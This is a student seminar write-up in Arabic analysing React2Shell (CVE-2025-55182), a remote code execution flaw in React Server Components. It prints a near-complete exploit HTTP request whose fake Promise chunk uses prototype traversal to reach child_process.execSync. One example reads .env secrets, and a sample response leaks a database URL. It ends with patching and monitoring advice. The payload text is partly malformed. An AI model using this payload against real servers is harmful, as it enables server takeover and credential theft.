
[Woori FISA] فوز في الندوة التقنية - الفريق الثالث من الدفعة السادسة لتطوير الخدمات السحابية - تحليل وبحث React2Shell (CVE-2025-55182)
الندوة التقنية لبرنامج ourFISA - الدفعة السادسة - الفريق الثالث: تحليل وبحث لثغرة React2Shell، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) ناتجة عن خلل تصميمي في مكوّن خادم React (RSC)

| العضو | الدور | GitHub |
|---|---|---|
| 남인서 | جمع المواد، إعداد العرض التقديمي، التقديم | @sene03 |
| 유승준 | جمع المواد، إعداد العرض التقديمي، التقديم | @fluanceifi |
| 이수현 | جمع المواد، إعداد العرض التقديمي | @hyun793 |
| 김유정 | جمع المواد، إعداد العرض التقديمي | @yujung23 |
React2Shell (CVE-2025-55182) هي ثغرة أمنية حرجة تم اكتشافها في عملية الاتصال عبر بروتوكول Flight المستخدم من قِبل مكوّن خادم React (RSC).
يستخدم React بروتوكول Flight لمعالجة المكوّنات، وهو إلى جانب السلاسل النصية والمصفوفات يدعم أنواعًا معقدة مثل Promise وBlob وMap.
| التعبير | النوع | الوصف |
|---|---|---|
$$ | Escaped $ | سلسلة نصية حرفية تبدأ بـ $ |
$@ | Promise/Chunk | مرجع إلى معرّف Chunk |
يستغل المهاجم نقاط الضعف في طريقة معالجة تدفق البروتوكول هذه لحقن سكربتات خبيثة والحصول على السيطرة على الخادم.
يرسل المهاجم بيانات JSON إلى الخادم من خلال طلب يتضمن ترويسة Next-Action وترويسة multipart/form-data. وفي هذا الطلب، يضمّن المهاجم في جسم الطلب (body) قطعة مزيفة (Fake Chunk) متنكّرة بشكل كائن Promise.
POST / HTTP/1.1
Host: localhost: 3000
[... 기타 헤더 생략 ...]
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('실행할 명령어',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}
------WebkitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":
// 공격자가 전송한 가짜 청크 예시
{
"then" : "$1:__proto__:then"
"status" : "resolved_model",
"reason" : -1,
"value" : "{\"then\":\"$B0\"}",
"_response" : {
"_prefix": "execSync('cat .env'); //",
"_formData":{"get": "$1:constructor:constructor"}
}
}
Chunk.prototype.then بالخاصية then الخاصة بالقطعة المزيفة التي أرسلها المهاجم._prefix كوسيط لدالة Function.thenable لـ Promise، يتم تنفيذ الكود التعسفي الذي زرعه المهاجم على الخادم.// POST 요청에 대한 응답 예시
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // 여기서 hasOwnProperty check가 누락됨!
}
$1:path:to:value، يقوم بتقسيم السلسلة النصية بناءً على النقطتين الرأسيتين (:) ثم يتنقل داخل خصائص الكائن.$1:__proto__:then إلى إتاحة الوصول إلى النموذج الأولي للقطعة وخاصية then الخاصة بالكائن (Chunk.prototype.then).أحدثت هذه الثغرة أصداء واسعة في منظومة الويب الحديثة بأكملها.
تركت حادثة React2Shell درسًا مفاده أن "مطوّري الواجهة الأمامية بحاجة إلى فهم أمان الخادم أيضًا".
قم بتحديث الحزم ذات الصلة مثل react-server-dom-webpack إلى أحدث إصدار (19.0.1+ إلخ) في أقرب وقت
نظرًا لأن الأطر المدمجة لـ RSC مثل Next.js لا تُحل مشكلتها بمجرد ترقية React فقط، يجب مراجعة ملاحظات الإصدارات الأمنية الخاصة بالإطار نفسه والترقية إلى أحدث إصدار
استخدم أنظمة مراقبة مثل Grafana واربطها بوسائل إرسال تنبيهات مثل البريد الإلكتروني وSlack لإعداد إنذارات تتيح اتخاذ إجراءات فورية
يجب أن ندرك أنه بقدر ما توسّعت حدود الواجهة الأمامية بفضل التطور التقني، اتسع أيضًا نطاق المسؤولية تجاه الأمان.
دليل التحليل الشامل لثغرة React2Shell: CVE-2025-55182